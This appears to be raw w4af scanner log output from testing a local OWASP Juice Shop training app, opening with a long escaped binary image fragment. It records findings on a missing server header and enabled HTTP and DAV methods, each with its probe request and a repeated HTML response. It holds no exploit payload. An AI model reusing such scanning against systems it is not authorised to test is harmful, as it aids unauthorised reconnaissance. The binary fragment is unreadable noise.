Q\x91\x130aq\x81\xa1\xb1\xc1\xe1\x15"2RS\xa2\xd1\x07\x14\x163@Bbcr\x92#CP\x82\xb2\xd2\xf0\x17\xf1\xff\xda\x00\x08\x01\x03\x01\x01?\x00\xfe\x89/\xe8\x12\xb39\xc3\xecm\x84O\x1b\x86s\x87\xd8[\x0c\xb96\x10\x08\xb86\xf4\xf2\t\xb3\x8c\xc39\xc3\x8fkK\x8c\x93a\x06\xdfj$6\xf4\xf8\xdb\x113\xe3p\xcep\xe3\xe0^\xa2;DL"\xe2x\xfc3\x9c8\xf8\x18\xa8\xe6\xcf\xb0a\x9c\xe1\xc7\xc0\xb8\xa8\xe6\xef\xb0a\x9c\xe1\xc7\xc1\x1ej\x8d\x7f\xd80\xcep\xe2CIZ\x0e\xd8\xb4\x1d\xb1h;b\xd0v\xc5\xa0\xed\x8a\x18\x93d\xa2\x82]r\xd0;\n-#\x8e\xc39\xc3\x88\x87\x08\x0bJs\xda\xcb\xc8\x0b\xe70}v\xef\x0b\xe70}v\xef\x1f\x15\xf3\x98>\xbbw\x8f\x8a\xf9\xcc\x1f]\xbb\xc7\xc5|\xe6\x17\xae\xdd\xe1\x0bD\xd1\xa4Bi\x91p\xde>+\xe7P\xbdv\xef\n\xc7\r\xaa,9Z8\xdc3\x9c5\xe1\x89\x95\x1e(\x84\xc7<\xe0&\xa3G|g\x17<\xcc\xeb1\xba-\x03`T\x87iEq\xdaOnj\xb6\x98\xe8\x11@\x9f\x9aM\xa3\x04\xe11.7\x0c\xe7\rx\x02\xd2Uw\x1bB\x06\x8f\xac|u\xa07J#F\xd2\x13\x8e\x88\'b9\xe8\x91\xb8h-v\xd1\xd7\x8fZ\x88\xd98\xf1\x98g8k1\x85\xd7&7DIV\x15q\xa5\x90t\xa4\x07$\xfb\xc2\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\x81Q\xf0q\x1a\xfd9\xc8\x83v\xce\x95\x11\xbal-\xbabK\xe8\xff\x00\xe6{\xbe+\xe8\xff\x00\xe6{\xbe+\xe8\xff\x00\xe6{\xbe*\x83F4hz\x1aS\xb7d\xbe*$=+B"F\xde/\x0c\xe7\rhBMT\x9ak\xa0\xbfDCs\xb9B\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xa2R\x0cf\x92X[\xcf\x8a\x8e.\xe2\xf0\xcep\xd6\x85\x10\x01#\xc5Y\xa9r\x8a\xfd#g\x17\x86s\x87\x11M\x12\x8e\xf1\xf8\x8fn\xb5B\xd9\xc6q\xd8\xde\xf0\xab\xc7J\x8f-\xa4w\x9e\xedJ\xa0N\x94\xde\x9e\xc2\x9f\xe8\x9e3\x0c\xe7\rv\x1b\x02\xad\x84\xa9/\xe8\xec\nJZ\x99>\xdb^y\xbb\xd5~\xe9C`\xe5?\xf7^\xa5B\'\x1c\xfe\x93\xda\x14_D\xf1\x98g8k\xc2\xb5\xa1W\xa2Q\xc7\xe9\x1d\xa5\x0c\xc7=@\xdf\xe18\xf2\xf7\x0f\x8a\xca\x07y\xcc\x1c\x87\xbbS\'\xc5\xb1\x0f7z\x8f\xe8\xf1\x98g8k\xc0>j\xca\x06\x8d&\x1d\xa0\xf5K\xe2\x9b\x99\xd9\xeaF\xca\x8d=\xa4\xfc;\x95|\xe9\xc7\x03cGi\xd4\xa8\x1a8\';\xf1v\x0f\x15\x1f\x0e3\x0c\xe7\rz9\xbdW\xec\x06\x13]\xb0\xcbx\xf0L\xbdI?=V\xd9Q\x989;IU\xc3\xa7Iw$\xbb\x06\xa5J\xc0\xda0;I=r\xeeQ\xcd\xa3\x8c\xc39\xc3^\x8emU\xd34\xa8\xc4\xec \xf7w\xa6_\x9a%\xd9\xe8\xac\xd0\x82\xc6\xech\xecU\x81\xd3\xa4\xbf\x9c\xfc\x15\x1e\xa3\xa7\xd2-\x87\x01\xe4m\xd12\xdf)(y\x13[\xbf\xf92\xe7sGT\xe7\xd4\x86AV\xc4}[\x7fs~*\x05\t\xf4&\x08\x11\x04\x9c\xc9\x82/\x91\x9d\xbdj1\x9b\xb8\xcc3\x9c5\xe0\xfaJ\xb3f\x9d\x19\xe3\x92{\xad\xeeM6\xa9(\x82\xc5G\xa2\xc6\xa4;B\x13\x0b\xdd\xb1\xa0\x93\xd4\xaa\xdc\x80\xac)R1e\t\xbf\x8a\xd7~\xd1\xdeB\xa2du\x1a\x14\xb8W\x17\xfb\xa3\xe3\xef*5]F\xa2\x99\xc1\x86\xd6\x9d\xa0\t\xf4\x9b\xcfIRMiq\x90\xb4\x95C\xa0\xb6\x08\x99\xb5\xdd\x8a\xb3\x8c#R\xe2\xc4\x1fy\xee;\xc9*!\x9b\x8f\x19\x86s\x86\xbc3\'\x05Ek\x1d\x15\x81\xe0\x16\x97\x00A\xb8\x89\xda:B\xa4d=T\xe2g\x07D\xf29\xc3\xaarM\xc8\xca\xb4^\xd7\x1f\xee=\xca\x89\x935l7\x89@i\xfdSw\xf9\x12\xa0\xc0\x87\x05\xba0\xda\x1a6\x00\x00\xeaB\xf4H\xcfW\xd0\xb8!\xa4\xefH\xf5(\xf1D(ny\xb9\xa0\x9d\xc2j\xf4\xe32x\xcc3\x9c5\xd9xM23\n=\x16\x1d-\x81\xed\xb0\x910{&\xa3\xc0|\x17\x16\xb8(\x07\xcf\x08g\x00\x9b\x02\xa0\xd5\xfc\x1f\x9e\xff\x00K\x01\xb3\xc75{\x14C\xab\xe3\xbb\xf2\xdc:H u\x9c\xc2\x1b\x8e\x08@+\x80\xe5F\x01E\x84^\xa5\xaf\x86s\x87\x10\x15I\x10D\xa0@p\xb7\xf8m\xdf!>\xb5Jh\xe1\x1c\x0e\xd4\xda\x047<J\xcbBuQ\x10\\A^L\x8f\xb0oL\xa9\xdcO\x9c\xe09\xad\xf8\'\xc6\xa0\xd5\xff\x00X\xf6\xb4\xfe"4\xb7_\xb8*V]U\xd0latC\xf8D\xbf\xcbG\xaaj\x95\xf2\x8b\x18\xfdL\x16\xb7\xf5\x12\xee\xcd\x1e\xf5Xe5>\x9c\xc3\x0e,O0\xfd\xd0\x00\x1dBg\xa4\x95C\xabiT\xc3\xa3\x06\x1b\x9d\xcc,\xdfr\x87\x90\xf5\x93\x9b\xa4\xe6\xb5\xbc\x84\xcc\xfb\xbaJ\x16G\xdd\xc2D\xe8\x03\xbc\x9e\xe5\xf4J\x8b/I\xfb\xc7\xfa\xa8\xf9!\x7f\x05\x13\xa1\xc3\xbc|\x15:\xa9\xa4P\xfe\xb1\xb6m\x16\xb7\xfe\xe7\x91O\x82\r\xc8\x89ka\x9c\xe1\xc40\xf9\xa1d|M:\xaa\r\xb7i\r\xce=\xca\x9fdS\xd0\x8d!\x90Hs\xdc\x1a\x01\xbc\x99\x0e\xb5L\xcbj\xb6\x8fc\\b\x1f\xc2;\xdd\xa27MS>P\xa9\x0f\xb2\x04&\xb4mq.=\x1e\x88\x1dj\x97\x94U\x8d.\xc8\x91\x9d-\x83\xcd\x1b\x9b)\xf4\xa8\x15=2=\xad\x86y\xcf\x9b\xd6\xe9(\x19%\x19\xdfX\xf6\xb7\x9an=\xca\x8f\x92\xb4FZ\xfd\'\xf3\x99\x0e\xabz\xd4\n\xb6\x8d\x03\xd0\x86\xd0F2\xb7}\xfdi\xae-3\x06EP\xa9\xbc/\x9a\xefK\xb5VT`\xd3\xc27\x1b\xf3\xb9\xa1\xc0\x83h*\xbc\xc9\xe1\x0c\x18\xd4qf-\xd9\xca96\x8c0\xe4\x88\xcd+Ff\xc3.F\x01\x19\xf0\xcep\xe2 \x82\xe6\xd8\xaa\x0c\xae\x85U\xd0\xb8\x12\xc2\xf7\xe9\x12-\x01\xb22\xc6\xd39\xcf\xee\x9euX\xe5u6\x98\xe9\x82!\x89K\xcd\x1d\xe6}RP\xe0R\xa9\xae\x98\x0ey\xdbi\xdeJ\xa3d\xa5%\xf6\xc4p`\xfd\xc7\xaa\xcfyQ\xf2V\x89\x0e\xd7\xcd\xe7\x94\xc8u[\xd6T\n\x1c\x18\x1fV\xc0\xdea\xdf\xac\xd7\x16\x99\x8b\xc2\x8fL\x89\x18I\xd2\x96\xaeQ\xd5\x82\x8b\x1bM\x83\xcc\x7fS\xb1\x1d\xe3\xa4`\xb8!9\xaaE-\x90\x05\xa6\xdd\x8a\x8bH1\x9b\xa5)Z\xa2\xb0\xce\xc1\x98\xdd\x9c\xe1\xac\xd8N)\xb0@\xbe\xd5D\xab\xe3\xd2L\xa10\x9e\\:M\xc1U\xdf\'\xee\x88\x03\xa9\x11@\x07\x06[\xef\x1f\x81M\xc9\x8a-\x05\xd2\xd0\xd2\xe5u\xb3\xee\xea@\x00%\xc7\xd7\xd4a\x1e\x86\xf1\x8bF\x90\xfe\xdf\t\x85M{\x99\x08\xb9\xb7\xa2I3*\x8bX2\x1b\x03\x1c\r\x9b\x14*t(\x86@\xdaTf\xd94n\xcep\xd4d"\xe4\xd8a\xaa\x83\x93\x94\xaaD\x8b\x86\x83v\xba\xfe\x86\xdf\xbe\\\xea\x85\x93tZ<\x8b\x86\x9b\xbf\x15\xdf\xb6\xed\xf3Mhh\x90\xb0\x05F\xa5:\x0b\xac\xb4b\x14F2\x93\x0b\x90\xdd\xf6\x08\x8c\x0fii\xb8\x89oT\xa18N\xe69\xea\xea+b\x7f\x11\xd8\x1b\x14c \x8d\xd9\xce\x19\x80&\xe4\xc8@^\xaa\xda\x86=3\xce\xf4\x19\xb4\xe3\xcc1\xea\x1c\xaa\x81S\xd1\xe8C\xccl\xdd\xeb\x1bO\x87B\x96\xa3c=\xad\xd1\x04\x81\xc6\x0bSh\xf1\x1dsN\xe4\xda\xba3\xb0\x03\xa7\xe0\x99Uz\xce\xdc\xa9\x14X4h/\x8am\xd0iu\xbc\x82i\xed\x0e\x04\x1b\x8a}X\xd3q\xde\x9fV\xc4\x17Z\xa8pcB\x89)\x101\xd8\xa3z(\xdd\x9c\xe1\x9a\x149\x0eR\xaa\\\x94{@\x8dIa\'\x06\x90l\xfd\\\xbc\x9b\xed\xbb\x81x\x1e\x89\xdc\xb87l+A\xdb\x16\x89\xd8\xb4N\xc5\xa2v.\r\xdb\n\x10\x9ep;\x90\x81\x10\xfd\xd3\xb8\xa1E\x8a~\xe9\xdc\x85\x0e1\xfb\xa5\n\xbe1\xfb\xbda\n\xb61\xd9\xbd\n\xae&$!T\xedwW\x8a\x15T<IM\xab\xa0\x8c\'\xd2\x9bD\x84\xdb\x9a\x13Z\x1bp\x96\xa6\\\xd6b\x8dC\xe0\x1a|\xf8\xa6_\xda-v\xfb\x07I\xd8\xa3<\xb6RB3\x90\x8e1\x0b\x86j\x89\x13K\x99\x1b\xb3\x9c3@\x8eX\xe0\xf6\x199\xa4\x10v\x11qUW\xca\x00\x90e1\xb6\xfa\xcd\xefol\xba\x1a\xa8U\xcd\x0e\x99\xf51Z\xe3\xb2rw\xed2=\\u\x0e\x8c\xc1\x08i\x00IO\x96\x91\x95\xd3\xd6\xa7\xd3\xe0\xd0`\xba4gI\xa3y\xe4\x1bIU\xcdm\x12\xb2\xa4:;\xec\xc0\x0fU\xa2\xe1\xff\x00^S\xdd\xa4g\xab\x86s\x86`erls\x8a\x11ZU\x12\xbd\xa7Q\x87\xf0\xa38\r\x93\x98\xdcf:\x95\x1f/k\x18~\x9e\x83\xf9\xc4\x8f\xba@\xeaP>QE\xd1 t\x87w\x10;T\x1c\xbd\xab\x9f\xe9\x07\xb7\x9c\x03\xfe$\xa8YWU\xc5\xba0\x1c\xe0\xb7\xfc\x80P\xabj\x1c_B3\x0f3\x87\xc55\xc1\xd6\x83=j\x1d\x1f\x86}\xb7\x0b\xd560\x85\x0e\xcb\xcd\x83Z\xb6\xca\x9a\x15^\x08.\xd3\x7f\xaa\xdbOI\xb9\xbd6\xec\x05WU\xed"\xb4\x89\xa5\x14\xc9\xa2\xe6\x8b\x87\x8e\xd3\xff\x00\xc5\x12&\x95\x82\xedl3\x9c5&\xa6\x84W\x0cP\x8e\xe4#\xed\x0b\x86j\xe1[\xb56.\x8d\xa1\xd2\xe9P\xebJS=\x08\xcf\x1c\xce#\xb0\xa6e\x15b\xcb\xa3\xbf\xa5\xc4\xf6\xcd3+\xabF]\x18\xf4\x86\x9e\xd0\x9b\x96\xb5\xa8\xfe`?\xda\xde\xe0\x86]VC\x16\xfe\xd5\x07\xe5.\xb4\x84\xdd\x16\x88\x7f\xb4\xff\x00\xb2\x8b\xf2\x91YE3sa\x9e\x87\x7f\xb2\xff\x00\xd0\xa9\xfe\xa4=\xce\xff\x00tr\xfa\xb1&\xe8\x7f\xb4\xff\x00\xb2v]\xd6D\xde\xc1\xfd\xbf\x12S\xf2\xd2\xb5u\xd1\x00\xe6k{\xc1T\xba\xf2\x9dJ\x12\x8b\x19\xc4\x1c\'!\xb8Hu\'EhO\x88]\xaf\x86s\x87\x17<\xd3ZGj\xd3;W\x08\xed\xab\x86v\xd5\xc2\xbbj\xe1]\xb5p\xae\xda\xb8GmZgj\x9f\x13\x86s\x87\xf4\x03vy\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa2\x7f\xa2\xff\x00\xff\xd9'
The remote HTTP Server omitted the "server" header in its response. This information was found in the request with id 23.
GET http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:35 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
The URL "http://localhost:3000/" has the following allowed methods. These include DAV methods and should be disabled: *, ACL, BASELINE_CONTROL, CHECKIN, CHECKOUT, COPY, DEBUG, GET, HEAD, INDEX, INVALID, INVOKE, LABEL, LINK, LOCK, MERGE, MKACTIVITY, MKCOL, MKDIR, MKWORKSPACE, MOVE, NOTIFY, OPTIONS, PATCH, PIN, POLL, POST, PROPFIND, PROPPATCH, REPLY, REPORT, RMDIR, SEARCH, SHOWMETHOD, SPACEJUMP, SUBSCRIBE, SUBSCRIPTIONS, TEXTSEARCH, TRACE, TRACK, UNCHECKOUT, UNLINK, UNLOCK, UNSUBSCRIBE, VERSION_CONTROL. This information was found in the requests with ids 24, 34 to 35, 38 to 80.
OPTIONS http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 204 No Content\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE\r\nVary: Access-Control-Request-Headers\r\nContent-Length: 0\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b''
MERGE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
SHOWMETHOD http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
LINK http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
MKWORKSPACE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
UNLINK http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
